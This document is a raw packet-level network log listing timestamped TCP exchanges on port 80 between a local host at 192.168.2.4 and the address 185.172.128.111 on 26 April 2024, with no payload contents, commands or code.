Apr 26, 2024 09:41:12.441013098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.441054106 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.448575974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.448616982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.448654890 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.448654890 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.448674917 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.448692083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.448713064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.448729992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.448757887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.448795080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.565768003 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.806058884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.915755987 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.915781975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.915844917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.915863991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.915874958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.915891886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.915909052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.915937901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.915982008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.915990114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.916007042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.916024923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.916057110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.916081905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.916148901 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.916204929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.916237116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.916255951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.916285992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.916299105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.916348934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.983985901 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.984010935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.984042883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.984133959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.984153032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.984164953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.984229088 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.984297991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.984332085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.984392881 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.984431982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.984447002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.984492064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.984509945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.984560966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.984684944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.984741926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.984776974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.984822989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.985054016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.985105991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.985124111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.985167027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.985220909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.985269070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.985503912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.985524893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.985543966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.985553980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.985563993 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.985590935 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.985619068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.985635996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.985651970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.985662937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.985682011 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.985687971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.985698938 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.985726118 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.985754967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.985774040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.985789061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.985800028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.985814095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.985832930 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.051270962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.051295042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.051343918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.051377058 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.051400900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.051410913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.051878929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.052797079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.052826881 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.052848101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.052865028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.052892923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.052923918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.052934885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.052963972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.053292036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.053344011 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.053360939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.053400993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.053414106 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.053428888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.053438902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.053453922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.053463936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.053492069 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.053574085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.053620100 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.053740978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.053776979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.053790092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.053817034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.054126024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.054169893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.054188013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.054259062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.054275036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.054303885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.054342031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.055248022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.055294991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.055308104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.055351973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.055422068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.055438042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.055478096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.055540085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.055592060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.055624008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.055644035 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.055651903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.055669069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.055710077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.055740118 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.055783033 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.055821896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.056016922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.056745052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.056762934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.056781054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.056799889 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.056813002 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.056830883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.056843996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.056855917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.056869030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.056883097 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.056898117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.056910038 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.056926012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.056942940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.056963921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.056972027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.056988955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.057013988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.057466984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.057486057 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.057521105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.057533979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.057548046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.057560921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.057574034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.057589054 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.057612896 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.057627916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.057645082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.057660103 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.057672977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.057686090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.057698011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.057709932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.057724953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.057743073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.057755947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.057769060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.057784081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.057797909 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.057818890 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.079060078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.079087019 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.079103947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.079123020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.079149961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.079169035 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.079426050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.079443932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.079466105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.079473972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.079493046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.079500914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.079511881 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.079535007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.079694986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.079721928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.079741955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.079757929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.079767942 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.079783916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.079812050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.079822063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.080034971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.080051899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.080069065 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.080085993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.080105066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.080128908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.080408096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.080460072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.080492973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.080529928 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.080548048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.080563068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.080588102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.080598116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.080765963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.080794096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.080847979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.080864906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.080881119 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.080921888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.081094027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.081136942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.081146955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.081165075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.081181049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.081238031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.082308054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.082324982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.082343102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.082359076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.082381010 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.082411051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.082925081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.082945108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.082962990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.082977057 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.082995892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083005905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083017111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083034039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083043098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083059072 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083074093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083086014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083096027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083111048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083122015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083137989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083147049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083162069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083173037 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083184958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083197117 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083224058 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083240986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083276987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083283901 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083300114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083313942 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083326101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083352089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083379030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083415031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083431005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083447933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083470106 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083478928 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083487034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083508968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083623886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083656073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083668947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083683968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083698988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083709955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083719969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083741903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083897114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083914042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083930969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083947897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.083961010 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.083977938 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.084001064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.084167957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.084208012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.084219933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.084237099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.084258080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.084265947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.084275961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.084290981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.084739923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.084758043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.084775925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.084789038 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.084798098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.084815025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.084822893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.084850073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.085026026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.085043907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.085062027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.085072994 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.085087061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.085108995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.085117102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.085144997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.085292101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.085339069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.085346937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.085362911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.085376978 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.085387945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.085398912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.085422039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.085658073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.085701942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.085714102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.085731983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.085747004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.085757017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.085767031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.085791111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.085984945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.086002111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.086031914 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.086040974 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.086050034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.086062908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.086074114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.086097956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.086288929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.086308002 CEST	80	49730	185.172.128.111	192.168.2.4
